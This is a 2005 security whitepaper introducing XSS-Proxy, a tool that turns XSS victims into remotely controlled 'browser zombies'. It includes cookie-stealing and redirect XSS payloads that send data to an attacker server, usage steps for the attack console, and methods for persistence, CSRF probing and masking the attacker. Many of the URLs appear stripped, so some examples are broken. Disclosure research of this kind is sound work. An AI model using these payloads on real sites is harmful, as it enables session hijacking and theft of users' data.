Advanced Cross-Site-Scripting (XSS)

                             A Mini-Whitepaper
          Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

Author: Anton Rager
Date: Feb 9, 2005

** Introduction **
Cross Site Scripting (XSS) is typically perceived as a minimal threat by many 
developers and security professionals. There have been some good papers in the past 
that should have woken folks up to the potential risks of XSS, but the problem is 
still prevalent and most security folks are un-interested in the issue and its 
ramifications. I hope to change that perception with this paper and the release of 
a tool called XSS-Proxy that allows XSS attacks to be fully controlled by a remote 
attacker. This paper describes current XSS attacks and introduces new methods/tool 
for making XSS attacks interactive, bi-directional, persistent and much more evil.

This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks 
much further. CGISecurity's XSS FAQ (1) is a good resource for a better overview of 
general XSS issues. I've also included several references (2,3,4,5) at the end of this 
paper that are also great material on XSS and related topics. 

This is also not a discussion on solutions as there are many resources on methods for 
finding and fixing XSS holes. The extended attacks I introduce here bypass many of 
the XSS mitigation methods I've seen other papers recommend (like hidden form inputs, 
URL re-writing, POST methods, etc), as the attacker has access to the same site contents 
(and jscript/values) as the victim. The only realistic solution is to either discard any 
HTML and special char inputs or carefully, carefully filter to allow only certain things 
in user input - event many sites that try to filter tags/chars can be tricked into XSS. 
Another solution may be to partition sites into multiple document domains so it's more 
difficult for an XSS vulnerability in one document domain to allow access to other areas 
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive 
site areas in another would be useful.
** Brief XSS Background **
As many here probably know, current XSS attacks typically come in two flavors: 
1 - Attacker uploads <script> tags to a public bulliten board, blog, or other site that 
    has an XSS vulnerability and that lots of other users will visit. Attacker normally 
    harvests site cookies for later user impersonation, but form submits and other attacks 
    are sometimes utilized. This is what many folks I talk to think XSS is. 
    Here's an example:
    Someone would post the following on that other users would process
    <script>document.write("<img src=” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's evilblog
    cookies in the URL.
2 - Attacker uses a public XSS vulnerable site like above, or an XSS based email message 
    to redirect a user to a second XSS vulnerable server. The second server is the 
    attacker’s actual target and this site normally has a self-XSS issue where a user can 
    inject <script> content into a document that only that user will see. This combined 
    with the redirection from another site can allow cookie leakage, form/submit content 
    leakage, or a specific action to perform as the XSS'd user against the second site. 
    This is well known, but I tend to see less site administrators that understand this 
    flavor of the attack. 
    Here's how that would work:

    Someone would post the following on that other users would process:
    <script>document.location=’<script>document.write("<img src=” + document.cookie + “>”)</script>’</script>

    When the user is redirected to with the above XSS, this is what will be
    returned to the user and executed:
    <script>document.write("<img src=” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's 
    cookies in the URL.

In the past other folks have also pointed out that more advanced site manipulation can 
be achieved with an XSS script that opens an IFRAME (or other window-like element) and 
loads/submits for other documents on the same site.  DOM trust will allow Javascript to 
interact with other windows/IFRAMEs it creates, as long as the windows point to the same 
document domain (protocol + domain_name + port).

The current methods of XSS attacks are typically limited only a single transaction at the 
final target site and typically result in cookie harvesting or form submission leakage.

** Basics of XSS-Proxy / Attack **
I have extended the normal XSS attack and combined it with the ability to pull additional 
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for 
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie 
leakage.  This combination allows an attacker to establish a persistent, bi-directional 
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long 
as the victim is tricked into leaving the XSS window open and in the same location, we 
have almost total control of the victim’s browser against the XSS site with the ability 
to redirect to other XSS vulnerable sites or forward specific blind requests to other 
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-

This is achieved with either of the two attacks described above, but we will describe the two 
server XSS redirect example. A victim gets an XSS vector via blog, comment board, email, etc 
(Let’s assume our victim surfed to some public site where other users can create XSS - we’ll 
call the site and that Javascript content redirects the user to a second site (we’ll 
call the second site and assume the site has an XSS in a search function that we 
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the 
second server that will cause the server's response to contain attacker supplied 
Javascript commands that the victim executes.

  The initial XSS vector on would look something like this: 
  <script>document.location=”<script src=’’></script>”</script>

  With the above XSS vector, the page returned by the second server ( would 
  contain the following: 
  <script src=''></script>

The victim window now has a current document domain of and the Javascript 
commands are running in that domain. This Javascript causes the victim to make a request 
to for more script commands. The XSS-Proxy utility is actually running 
at and serves up some Javascript to initialize this client that consists of 
several functions for document reading, submission processing, response forwarding and 
error handling, as well as some commands to create an IFRAME, load the root document (/) 
of the target server ( into that IFRAME, wait a few seconds for it to load, 
read the contents (using innerHTML), then make more script requests to Sounds complex, but it's just several functions some references 
to those functions and a timer event to make more script calls to the XSS-Proxy server.  The 
functions will stay in memory as long as the victim window doesn't change. Two things actually 
happen when the victim makes the subsequent script requests to 
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are 
    leaked in the URL of script request. Script requests are just GETs, so victim requests 
    the script like a normal document, and stacks parms/info on the URL after the 
    script/page name.  This script request would appear somewhat like the following at the 
    attacker's server: 
    GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

    It's actually a bit more complex than that as IE limits URL lengths (to around 2049 
    chars), so most documents will need to be chunked up into sections that will fit on 
    the script URL requests. The actual tool tries to handle that, so puts some additional 
    info into the URL requests for re-assembly.

2 - The server at will respond to the last script request with more 
    script commands to continue the persistence. The server will either respond with loop 
    request (basically tells victim wait a few secs, then check back for more script 
    commands), a document request (load doc into IFRAME, read it and forward results while 
    getting more script commands), a submit requests (set input values in form within 
    IFRAME, submit, await response, read response and forward results back while getting 
    more commands), or a javascript var/function evaluation requests (evaluate an expression 
    within the current window of victim browser and return result+get commands). This 
    process continues as long as the victim stays on the same page.

Here's an ASCII visual of the Window and attacker target relationships after victim is 
redirected to final Target and hijack session is initialized:

                      Attacker (XSS-Proxy)
                              ^  |
                              |  |
                     commands and responses
Victim Browser                |  |
|Main Window                  |  v             |
| - This is where our resident functions run   | 
| - Commands from attack console execute here <------
| - Create IFRAME below and read/writes to it  |     |
| - Victim polls every few sec for new commands|     |
|                          | ^                 |     |
|       -------------------|-|--------------   |     |
|      | IFRAME            v |              |  |     |
|      | - This is our document "loader"    |  |     |
|      | - other documents on target site   |  |     |
|      |   are loaded here and read by code |  |     ^
|      |   outside the IFRAME (main)        |  |     |
|      |                                    |  |     |
|      |                                    |  |   Initial
|      |                                    |  |  XSS vector
|      |                      ^ |           |  |   to load
|      |                      | |           |  |  functions
|       ----------------------|-|-----------   |    from 
 -----------------------------|-|--------------   XSS-Proxy 
                              | |                    |
                              | |                    |
                              | v                    |
                          XSS vulnerable server -->--
                         (Target -

There are many methods for hiding the actual "resident" attack window or the loader IFRAME. 
The entire window could be hidden or the original site contents could be left and just the 
IFRAME hidden.  The current XSS-Proxy tool leaves the window and its IFRAME visible to 
the victim, but it would be trivial to modify - the attacker can also do this interactively 
with the Javascript Eval from. There also are many methods for forcing a user to load a 
new window and with some additional logic even pop-up blockers can be bypassed (XSS process 
re-writes the links in the original document to open a new window on click). The new window 
could be a mirror of what the user was already viewing or the result of a clicked link in 
the public XSS document and could trick the victim into leaving the XSS controlled window 
running while they continue surfing.

** Using XSS-Proxy **
While the description above is a bit dry, an actual test drive of the tool against your 
own XSS vulnerable site will highlight the dangers of this attack more fully. Here's the 
general steps for a demo involving your XSS-flawed server with localhost browser as a 
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed 
server, victim and XSS-Proxy/attacker hosts would all probably different systems - 
and it would probably involve a vector that redirects from one site to the final site 
that XSS-Proxy will use.

Here's an overview on using the XSS-Proxy tool:
1 - Modify the perl script vars $code_server and $PORT to point to the system that you 
    will be running the perl script on. Defaults to port 80 and http://localhost
2 - Run the perl script and point the attack browser at /admin on the server you are 
    running the perl script. With defaults would be http://localhost/admin. This is the 
    attacker admin console and is where victims can be managed and results viewed.
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS 
    vector needs to point back to the perl server and this filename (ie for XSSing your 
    own browser with local code server, enter 
    <script src="http://localhost/xss2.js"></script> 
    at a site that has an XSS vulnerable input) 
4 - After you have a victim initialized and in a wait loop, you can either browse the / 
    document of the XSS site and click on links you want the victim to visit/forward back, 
    or you can enter documents/variables in the associated form inputs. 
XSS-Proxy Admin Commands and operation. 
- The console does not refresh/update on its own. You will need to press the 
  refesh/reload button in your browser. 
- Javascript is not required to run the console and it may be safer to disable for the 
  attacker console. I've XSS'd myself a few times with some advanced testing. 
- Sessions will show up in a "Clients" section once a victim gets XSS'd.
- Each victim/session should forward a copy of the "/" directory off the XSS'd server.
- Forwarded documents are listed in the "Document Results" section. If you click on a 
  document, it will rewrite the URLs and clicks within that document will make XSS-Proxy 
  request the same client load the link 
- If you are modifying a form and submitting, then you need to make sure the last page 
  that client loaded is that same page, then fill out values and submit form. Some URL 
  re-writing is happening here as well and the code assumes that page is already loaded at 
  the victim.
- You can also do document loads manually by entering the URL in the "Fetch Document" 
  form. First value (left) is the session number, and second is the document to retrieve 
  (ie - 0 and The resulting document will be listed in the 
  "Document Results" section.
- The other form called "Evaluate" is for querying Javascript vars/functions from 
  specific clients. Enter session on left and var on right (ie - 0 and document.cookie 
  to display cookies for session 0) 
- Results of evaluate requests will appear in the "Eval Results" section 
- There is an error handler running in the victim browser, so errors from page loads and 
  evaluate requests will appear in the "Errors" section. 
There are a few bugs in the code still, so read the initial comments in the controller 
script to see what it may have issues with. The attack works with IE and Firefox browsers 
(with some additional tweaks other browsers may work) and the Perl script runs on most 
any OS with a basic Perl install. I've tested it on Linux and Windows (Activestate Perl) 
with Perl5. It's lightweight and extremely portable, but Apache + a DB server would be a 
more roust and stable platform.

** Implications of Attack/Tool **
This advanced attack allows a persistent connection and an arbitrary number of documents 
to be loaded and forwarded by victims to an attacker. I call these victims in an 
idle/wait state "Browser-Zombies". The ability to see documents, modify and submit 
documents that the victim may have access to can allow an attacker to elevate access to 
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is 
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on 
this existing session. Cookie theft alone does not work with all site and many sites use 
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and 
XSS combined and can allow access to the same resources a victim may have. Methods can 
include cached/existing logins, client-side certificates, IP firewalled/filter access 
and even access to other resources behind firewalls (see attack refinements below). 

This attack also allows realtime (or scripted) access to the victim browser, and other 
content-type or browser specific vulnerabilities could also be potentially leveraged for 
additional browser/host access. This control channel could also be a delivery mechanism 
for other forms of malware.

This also means than the initial XSS attack and controlled session is not just limited 
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS 
vulnerable sites after the initial browser hijack, and determine what access the victim 
has to the site. This could even be a list of sites that the attacker knows have XSS 
flaws and would like to check for special access with a specific victim. XSS-Poxy can 
already do this if you have the victim evaluate the expression 
document.location="". Here's an example if XSS-Proxy already 
has an existing session 0:

  Form Evaluate:
  Session: 0
  Expression: document.location="''%3E%3C/script%3E"

  The above command will change the current location of the victim's main window to a new 
  XSS target, load code from the attacker server, re-create a loader IFRAME and start a new 
  hijacked session with as the current document domain. We have 
  transferred the initial XSS to another target and maintained control of the victim.

An extension of this idea is to force the victim to continue surfing normally in a window the 
attacker creates and in the other XSS hijacked window force periodic redirects to a list of 
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at 
one of those sites.  If the interactive window is at the same site as the current XSS check-site,
the attacker will be able to read the contents of the interactive window. This means the 
attacker can now shoulder-surf the victim and even modify server responses and user 
submission as long as the victim stays on that same site. XSS-Proxy doesn't currently do 
this, but some interactive eval expressions for the session should be able to create a popup 
window (if allowed in browser), make it full screen, and periodically check that window to 
see if the victim has surfed to a location that can be read. For a useful attack, this needs 
to be coded into XSS-Proxy as another attacker command.

Other refinements of this attack could allow blind CSRF based probing for other sites 
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined 
with responses that set the probe IFRAME/window back to the XSS controlled site and 
allow the already resident XSS code reading the frame again (even more information could 
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it). 
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME, 
will delete the IFRAME and try the next test. Again, I'll update the XSS-Proxy site with 
the details, but if there's a XSS flaw the CSRF injected vector will point back to a 
site we already XSS control and our script will be able to read the window again. XSS-Proxy 
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS 
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS 
fuzzing attack with GET URLs by requesting the client fetch a document off another target 
system and include some XSS code in the URL to set the frame back to the original XSS site 
upon success. Here's an example for doing this with XSS-Proxy and a victim on session 0 who's 
currently on - this will probe

  Form: Fetch Document
  Session: 0
  Location: http://csrfprobesite/probeurl?probevalue=<script>document.location=""

  If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz 
  probe failed. If it doesn't throw an error and the new loader IFRAME document location is 
  set to "", then your blind fuzz worked. 
  Note that IE needs somewhere over 512 bytes in the 404 message to override IE's 
  res:// based 404 errors. Firefox doesn't and always seems to read a 404 just fine.

I have another refinement of this attack that can allow the attacker to masquerade as the 
victim and never reveal his location/IP to a specific target site. I'll be publishing 
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and 
covert channels between several IFRAMES on the same page for command/response 
communications. The covert channel is an IFRAME who's location is swapped between the 
two XSS sites and commands/responses are communicated via the locations URL (This will 
normally throw a 404, but we can still read the location if it's set to the correct 
document domain). The end-result is that one of the sites doesn't know where the remote 
script server is located and thinks the attacker is actually the victim's browser, 
while the other site passed the initial script call to the victim browser. An attacker 
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while 
masquerading as the victim - XSS could be leveraged for other web vulnerability 
exploitation.  The site administrators would never know where the attack server was 
located without a complete analysis of victim system during the attack. XSS-Proxy does 
not handle this right now, but I've got some code additions soon that will allow it.

The basic controlled attack and it's extensions are very evil, and any other future DOM 
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox 
vulnerability) make the issue even worse as _all_ sites a victim has access to could also 
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text) 
and images, files, and other contents are not downloaded to the attacker.  Remote 
retrieval of these other file types could be made possible with XSS re-injection and use 
of functions like XMLHTTP for arbitrary binary content from the target server.

** Development Site and Additional Information **
XSS-Proxy is available at

Home page with more detailed whitepaper, some diagrams, screenshots and my 
Shmoocon slides is at

** References **
(1) CGISecurity's Cross Site Scripting FAQ
(2) Gunter Ollmann's XSS paper
(3) PeterW's Cross Site Request Forgery (CSRF) Concept
(4) SecureNet's Session Riding paper
(5) CERT info on XSS
(6) Remote Scripting with IFRAMEs

Thanks to all who provided ideas, input, testing and draft reviews. You know who you 
are ;) And many thanks to the authors of "Javascript 2nd Ed - The Complete Reference" 
for a book that I think I've actually read in it's entirety at this point...

Anton Rager or

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